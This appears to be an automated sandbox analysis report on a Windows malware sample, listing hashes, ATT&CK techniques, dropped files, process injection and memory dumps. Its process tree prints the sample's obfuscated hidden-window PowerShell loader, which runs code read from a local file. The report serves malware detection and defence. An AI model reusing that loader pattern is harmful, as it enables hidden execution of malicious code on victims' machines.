89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5

General

Target

89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
Size

989KB
MD5

2412cbbed6081fd40494028b7ff5e791
SHA1

0f404ae35ee0193e07a6cc26391f7560ec103ab9
SHA256

89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5
SHA512

03ea2096fa8c34f668c301549d6dd7152e24e8d50b9cf5fca63452eecf720bac0e084ddc56a28cf558b2da32c3e5cb7cc036e06eb9735c4a443a7ffe75aeb055
SSDEEP

24576:K+63kmIlyh9fgMAC7Nr8xAGuwIm/yWiopvC9wi:K+TOflm/RaWi6Mwi

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1568	powershell.exe
2944	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\Hemicrane.ini	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\resources\0409\syntonolydian\statsminister.lnk	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
File opened for modification	C:\Windows\resources\0409\federalt\Telephonists230.Ube	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
File opened for modification	C:\Windows\resources\snagline.sub	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1568	powershell.exe
2944	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 1568	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 3000 wrote to memory of 1568	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 3000 wrote to memory of 1568	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 3000 wrote to memory of 1568	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	30
PID 3000 wrote to memory of 2944	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	33
PID 3000 wrote to memory of 2944	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	33
PID 3000 wrote to memory of 2944	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	33
PID 3000 wrote to memory of 2944	3000	89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe	33

C:\Users\Admin\AppData\Local\Temp\89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe
"C:\Users\Admin\AppData\Local\Temp\89360a01c95a9aee2ea2af6fe15693baefabe2d31beb3c43fcbc390d73c3bee5.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Parthenocissus=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Snurre.Cha';$Bekendelsesskriftets=$Parthenocissus.SubString(2518,3);.$Bekendelsesskriftets($Parthenocissus)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Parthenocissus=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Snurre.Cha';$Bekendelsesskriftets=$Parthenocissus.SubString(2518,3);.$Bekendelsesskriftets($Parthenocissus)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

Filesize
878B

MD5
c3cf3ab13ac20bc893605a04eaca7f31

SHA1
b03052ca24f11a867045a8c42501c99948604aaf

SHA256
5c2b1f918d840f0f9a37c6e663ee3776bf5b279ca1c579b9490c7559e03eb0c5

SHA512
b6f3cf2826270b761cf3ac9f8ad157de9631d5a264c012ddddac476e4992ae684d838fa2b79ed59a1382a9a0717758c4c4195e5c1ad8d4febd58af0d9f1f4a92

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

Filesize
852B

MD5
f4c8b79465d55833305510bbfd938838

SHA1
8d83414eee49dfa37ff9a53cb9d2005aa5e63319

SHA256
6472ff1cb4774693bae76b4e82854ffdb17ae753d9ae3c25035db40b304d02d2

SHA512
6cb178d5dd2ffef9d94cb62655dd28c1af76c91a90b918a449df6edea0809a9eb03a8c9199abc82d8948c24d9351443ff27629554444220b1221bc54222d0659

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
1c6563193af2e2180eb7b985f9d8bdb5

SHA1
a858b78dbb0b26f3fa2625f5f5ef18c27e59729e

SHA256
bf363f18d800efb5a403aa564ee88bad69bec59e44a83525db44d6ccb4d13b65

SHA512
436e51051a61249a89e08eb706bfc036e2f14c33fa67cc5178966c5abd2911e0ba6a23d9db3ec008e2ed7d93a3147b7a91d611edc8cfc338873dd9dbcfb3bd9a

Download Submit
memory/1568-182-0x0000000073DE1000-0x0000000073DE2000-memory.dmp

Filesize
4KB

Download
memory/1568-183-0x0000000073DE0000-0x000000007438B000-memory.dmp

Filesize
5.7MB

Download
memory/1568-184-0x0000000073DE0000-0x000000007438B000-memory.dmp

Filesize
5.7MB

Download
memory/1568-185-0x0000000073DE0000-0x000000007438B000-memory.dmp

Filesize
5.7MB

Download
memory/1568-186-0x0000000073DE0000-0x000000007438B000-memory.dmp

Filesize
5.7MB

Download
memory/1568-187-0x0000000073DE0000-0x000000007438B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing